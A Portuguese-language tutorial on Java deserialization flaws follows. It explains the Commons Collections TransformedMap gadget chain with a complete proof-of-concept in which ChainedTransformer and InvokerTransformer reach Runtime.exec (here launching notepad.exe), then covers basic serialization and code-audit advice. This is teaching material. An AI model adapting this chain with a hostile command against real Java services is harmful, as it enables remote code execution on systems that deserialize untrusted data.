No contexto de vulnerabilidades de deserialização em Java, a biblioteca Commons Collections oferece classes que podem ser exploradas para execução remota de código. A classe TransformedMap, em particular, permite a execução de operações de transformação quando métodos como put ou checkSetValue são invocados.
TransformedMap é uma implementação decoradora de Map que aplica transformações aos valores durante operações de inserção ou modificação. Ao associar um objeto Transformer, como ChainedTransformer, a essas operações, é possível encadear chamadas que conduzem à execução de código arbitrário.
Para demonstrar, considere o seguinte exemplo de código reescrito:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class DemoTransformedMap {
public static void main(String[] args) {
Transformer[] arrayTransformadores = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"notepad.exe"})
};
Transformer cadeia = new ChainedTransformer(arrayTransformadores);
Map<String, String> mapaBase = new HashMap<>();
Map<String, String> mapaDecorado = TransformedMap.decorate(mapaBase, null, cadeia);
mapaDecorado.put("teste", "exemplo");
}
}
Ao chamar o método put no mapa decorado, a sequência de transformações é ativada. O processo segue: TransformedMap.put invoca transformValue, que por sua vez chama ChainedTransformer.transform. Cada InvokerTransformer na cadeia executa uma etapa específica, resultando na invocação de Runtime.getRuntime().exec("notepad.exe").
Esta cadeia de chamadas só é eficaz em ambientes onde a biblioteca Commons Collections está presente e a deserialização de objetos não é controlada. Versões modernas da biblioteca incluem mitigações, mas em configurações legadas, o risco persiste.
Pontos-chave para considerar:
- TransformedMap aciona transformações em métodos de mutação, como put.
- A classe ChainedTransformer permite o encadeamento de operações complexas.
- A exploração requer que o alvo aceite a deserialização de objetos que contenham essa cadeia.
Commons Collections é uma biblioteca de código aberto que estende as coleções padrão do Java, fornecendo estruturas de dados e algoritmos avançados. Ela suporta funcionalidades como filtros, iteradores e transformadores, facilitando operações complexas em coleções.
Serialização e deserialização em Java são processos que convertem objetos em fluxos de bytes e vice-versa. A serialização utiliza ObjectOutputStream, enquanto a deserialização usa ObjectInputStream. Classes que implementam a interface Serializable podem ser convertidas, mas atenção deve ser dada a segurança, pois entradas maliciosas podem levar a vulnerabilidades.
Exemplo simplificado de serialização:
import java.io.*;
public class ExemploSerializacao {
public static void main(String[] args) throws Exception {
Dados dados = new Dados("Alice", 30);
// Serialização
try (FileOutputStream fos = new FileOutputStream("dados.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(dados);
}
// Deserialização
try (FileInputStream fis = new FileInputStream("dados.ser");
ObjectInputStream ois = new ObjectInputStream(fis)) {
Dados dadosCarregados = (Dados) ois.readObject();
System.out.println("Nome: " + dadosCarregados.getNome());
}
}
}
class Dados implements Serializable {
private String nome;
private int idade;
public Dados(String nome, int idade) {
this.nome = nome;
this.idade = idade;
}
public String getNome() { return nome; }
}
A biblioteca Commons Collections evoluiu de versão 3 para 4, com melhroias em desempenho e compatibilidade. A versão 4 introduz novas coleções e requer Java 8 ou superior, enquanto a versão 3 é adequada para ambientes mais antigos.
Em auditorias de código Java, foco em padrões de deserialização insegura é crucial. Técnicas incluem análise estática para identificar uso de classes perigosas, revisão de configurações de entrada, e teste de payloads controlados. Profissionalização contínua em segurança de aplicações é recomendada para acompanhar ameaças emergentes.